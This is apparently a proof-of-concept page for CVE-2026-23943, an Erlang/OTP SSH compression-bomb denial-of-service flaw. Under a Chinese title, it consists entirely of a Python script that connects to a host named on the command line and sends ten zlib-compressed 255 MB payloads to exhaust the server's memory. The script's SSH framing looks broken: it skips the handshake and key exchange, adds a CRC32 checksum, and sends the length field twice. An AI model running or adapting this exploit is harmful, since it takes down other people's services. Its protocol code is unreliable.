CVE-2026-23943 Erlang OTP SSH压缩炸弹拒绝服务漏洞

import socket import struct import zlib def create_compression_bomb_payload(): """ Create a compression bomb payload for SSH This generates highly compressed data that expands to ~255MB """ # Create target size data (255MB) target_data = b'A' * (255 * 1024 * 1024) # Compress the data compressed = zlib.compress(target_data, 9) print(f"Original size: {len(target_data)} bytes") print(f"Compressed size: {len(compressed)} bytes") print(f"Compression ratio: {len(target_data) / len(compressed):.1f}:1") return compressed def send_ssh_compressed_packet(sock, payload): """ Send a SSH packet with compressed payload """ # SSH packet format: length(4) + padding_length(1) + payload + padding padding_length = 8 payload_length = len(payload) total_length = 1 + payload_length + padding_length # Construct packet packet = struct.pack('>I', total_length) packet += struct.pack('B', padding_length) packet += payload packet += b'\x00' * padding_length # Calculate CRC crc = zlib.crc32(packet) & 0xffffffff sock.send(struct.pack('>I', total_length + 4)) sock.send(packet) sock.send(struct.pack('>I', crc)) def exploit_cve_2026_23943(target_host, target_port=22): """ Exploit CVE-2026-23943: SSH Compression Bomb DoS """ payload = create_compression_bomb_payload() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) print(f"Connected to {target_host}:{target_port}") # Send multiple compressed packets to exhaust memory for i in range(10): send_ssh_compressed_packet(sock, payload) print(f"Sent packet {i+1}") sock.close() print("Attack completed") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: exploit_cve_2026_23943(sys.argv[1]) else: print("Usage: python exploit.py <target_host>")